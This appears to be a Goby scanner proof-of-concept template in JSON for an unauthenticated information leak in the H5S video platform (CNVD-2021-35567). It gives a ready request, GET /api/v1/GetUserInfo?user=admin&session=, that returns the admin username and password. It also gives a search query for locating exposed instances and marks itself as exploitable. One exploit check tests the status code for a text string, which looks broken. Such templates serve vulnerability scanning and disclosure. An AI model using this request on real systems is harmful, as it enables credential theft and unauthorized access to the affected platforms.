{
      "Name": "H5S video platform GetUserInfo Account password leakage",
      "Level": "3",
      "Tags": [
            "infoleak"
      ],
      "GobyQuery": "title=\"H5S视频平台|WEB\"",
      "Description": "Unauthorized interfaces leak sensitive information",
      "Product": "H5S video platform",
      "Homepage": "https://linkingvision.cn",
      "Author": "luckying1314@139.com",
      "Impact": "<p>Obtain the account and password to log in to the background<br></p>",
      "Recommendation": "<p>1. Strictly control the access permissions of the page and check the access permissions of the role.&nbsp;&nbsp;</p><p>2. You can use session to judge and control the user's identity.&nbsp;&nbsp;</p>",
      "References": [
            "https://www.cnvd.org.cn/flaw/show/CNVD-2021-35567"
      ],
      "HasExp": true,
      "ExpParams": null,
      "ExpTips": {
            "Type": "",
            "Content": ""
      },
      "ScanSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/api/v1/GetUserInfo?user=admin&session=",
                        "follow_redirect": true,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "strUser",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "strPasswd",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "strUserType",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "strRole",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody||"
                  ]
            }
      ],
      "ExploitSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/api/v1/GetUserInfo?user=admin&session=",
                        "follow_redirect": true,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "contains",
                                    "value": "strUser",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "strPasswd",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody||"
                  ]
            }
      ],
      "PostTime": "2021-11-10 09:42:00",
      "GobyVersion": "1.9.304"
}